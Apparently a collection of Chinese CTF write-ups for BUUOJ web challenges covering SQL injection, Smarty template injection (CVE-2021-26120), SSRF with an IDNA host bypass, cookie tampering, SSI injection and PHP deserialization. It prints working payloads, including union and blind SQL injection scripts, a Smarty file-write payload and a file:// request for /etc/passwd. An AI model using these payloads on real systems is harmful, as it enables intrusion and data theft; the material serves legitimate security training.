1 title='union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=mochu7&ac=add
1 8、进行匿名获取flag值,payload:1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,或者payload:1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,其中group_concat(参数),对参数进行修改,访问每一个字段,结果如下:
这里有一个小知识点就是group_concat(`3`)里的3和外面查询的别名是一样的,就是
3必须是表里必须有三列,然后必须早select 1,2,3xxx这里进行查询
本地也进行测试过了
[CISCN2019 华东南赛区]Web11 题目
题目中也有XFF,然后请求头中并没有,所以我们尝试抓包看看
发现没有,然后添加查看,发现这里可以进行回显
这里和之前的一道题很像,就是利用这里来进行命令执行,但是之前的题是ssti的,并且是一个模板的rce
所以我们就猜测这里会不会也是考模板的ssti
对这个玩意眼熟吧
于是就去找这个模板的rce
文章wp
payload
1 string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
得执行两次才行
还是点两次发送就行
CVE-2021-26120
[极客大挑战 2019]FinalSQL 题目
这里进行了简单的提示
就是考察的是sql盲注
提示很明显,需要SQL盲注 这道题的注入点不是登录框,而是上面的数字按钮 在登录框测试能否注入的时候,返回值没有显示错误
注入点在上面的数字处,那里才是注入点
paylaod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsurl = "http://e4247cff-5d64-4353-b875-e07e478c50bf.node3.buuoj.cn/search.php" flag = '' for i in range (1 ,100 ): low = 32 high = 127 while low < high: mid = (low+high)//2 database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid) tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1" %(i,j) columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,j) data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j) r = requests.get(url=url+database) if 'Click' in r.text: low = mid + 1 else : high = mid flag += chr (low) print (flag)
记得不知道过滤啥的时候进行抓包fuzz测试一下
[BSidesCF 2019]Futurella 题目
查看源码就行
[De1CTF 2019]SSRF Me 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.xists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
这里话题目就是考点
这里的代码有点长,就得考察代码审计能力了
详细的wp 看这个wp就行了,这里就不多写了
[BSidesCF 2019]Kookie 题目
这里跟据题目名字猜测跟cookie有关
抓包输入题目给的账号密码
然后登录成功
发现内容为username=cookie的键值对。
显然这里Cookie中的键值对的值作为了服务端在用户通过账户密码登录之后再次访问时验证身份的凭证,将其值改为admin也就标志我们成为了admin用户,接着再携带修改后的Cookie访问页面就能获得flag。
[BJDCTF2020]EasySearch 题目
题目上要search
那么我们就扫一下目录
扫后台发现index.php.swp备份。
一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
要求password的md5值的前6个字符为6d0bc1。敲代码(python):
1 2 3 4 5 6 7 from hashlib import md5for i in range (10000000 ): if md5(str (i).encode('utf-8' )).hexdigest()[:6 ] == '6d0bc1' : print (i)
发现三个数字可以是
然后进行登录
登录成功
发现请求头有个玩意
这里有个shtml的玩意
(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)
(SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
payload
这里就是shtml的注入点了,所以username就是注入点了
(也可以这样想,只有两个参数可控,passwd已经定死了,那么就只剩username可用了)
这里的话是一下一下给试出来的
分析一下代码逻辑就知道咋做了
[SUCTF 2019]Pythonginx 题目
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/getUrl' , methods=['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
这里看不太懂就直接把代码分离出来看
利用点在这里urllib.request.urlopen(finalUrl).read()
,只要前两次host != suctf.cc
,第三次host == suctf.cc
即可
而这利用的关键在于newhost.append(h.encode('idna').decode('utf-8'))
编码问题,Unicode
的很多字符经过这样的一番编码处理都可以得到正常的字母,脚本fuzz
1 2 3 4 5 6 7 8 9 10 chars = ['s' , 'u' , 'c' , 't' , 'f' ] for c in chars: for i in range (0x7f , 0x10FFFF ): try : char_i = chr (i).encode('idna' ).decode('utf-8' ) if char_i == c: print ('ASCII: {} Unicode: {} Number: {}' .format (c, chr (i), i)) except : pass
这里的意思就是前两个没有进行这个编码,然后第三个之前就有一个编码,然后就会把原本的unicode编码给变成正常的编码了
payload
1 /getUrl?url=file://𝑆uctf.cc/etc/passwd
然后就是找flag位置了
给了提示,然后就尝试访问nginx这个配置文件
Nginx的配置文件网上位置有很多,这里能读取到的是
/usr/local/nginx/conf/nginx.conf
然后就是读取flag了
这就是验证过程了
[0CTF 2016]piapiapia 题目
这题考察的不是sql注入 这登录框确实有点欺骗的味道在
这个尝试一下常用的php文件,看能不能试出网站的目录
注册账号 看来我们还是得老老实实得注册个账号来登录看看有什么功能点,并且熟悉网站结构。但是在登录页面又没有给出注册按钮,看来我们还得自己猜一下,通常是:/register.php。
浏览功能 登录成功后我们看到是一个上传个人信息的一个页面,看到可以上传图片,第一时间就想到了文件上传漏洞。我还是太年轻了,一波操作后没有饶得过。上传了一个正常的信息,发现跳转到profile.php展示出来我们的信息
目录扫面 功能都试过了,没有可以利用的地方(是我太菜)。我们可以扫一下目录,看看有什么隐藏的文件呀,信息泄露什么的,毕竟CTF很多题型是信息泄露+代码审计嘛。拿出御剑扫描后,浏览网页发现访问太快了,返回429状态码。看了网上大佬们的Writeup发现dirsearch可以扫描出来www.zip,我试了下dirsearch要记得加延时参数。 拿到了网站的源码我们的信息收集差不多就完了,我们现在可以在源码中寻找突破点
这是注册完登录的界面
查看扫出来的网站目录 www.zip
得到下面的源码
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } if ($_POST ['phone' ] && $_POST ['email' ] && $_POST ['nickname' ] && $_FILES ['photo' ]) { $username = $_SESSION ['username' ]; if (!preg_match ('/^\d{11}$/' , $_POST ['phone' ])) die ('Invalid phone' ); if (!preg_match ('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST ['email' ])) die ('Invalid email' ); if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES ['photo' ]; if ($file ['size' ] < 5 or $file ['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file ($file ['tmp_name' ], 'upload/' . md5 ($file ['name' ])); $profile ['phone' ] = $_POST ['phone' ]; $profile ['email' ] = $_POST ['email' ]; $profile ['nickname' ] = $_POST ['nickname' ]; $profile ['photo' ] = 'upload/' . md5 ($file ['name' ]); $user ->update_profile ($username , serialize ($profile )); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else { ?>
一眼可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。 在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。 我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法
update_profile()
1 2 3 4 5 6 7 public function update_profile ($username , $new_profile ) { $username = parent ::filter ($username ); $new_profile = parent ::filter ($new_profile ); $where = "username = '$username '" ; return parent ::update ($this ->table, 'profile' , $new_profile , $where ); }
filter()
1 2 3 4 5 6 7 8 9 public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }
update()
1 2 3 4 public function update ($table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value ' WHERE $where " ; return mysql_query ($sql ); }
update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’
看wp吧 这里就不太想写了
wp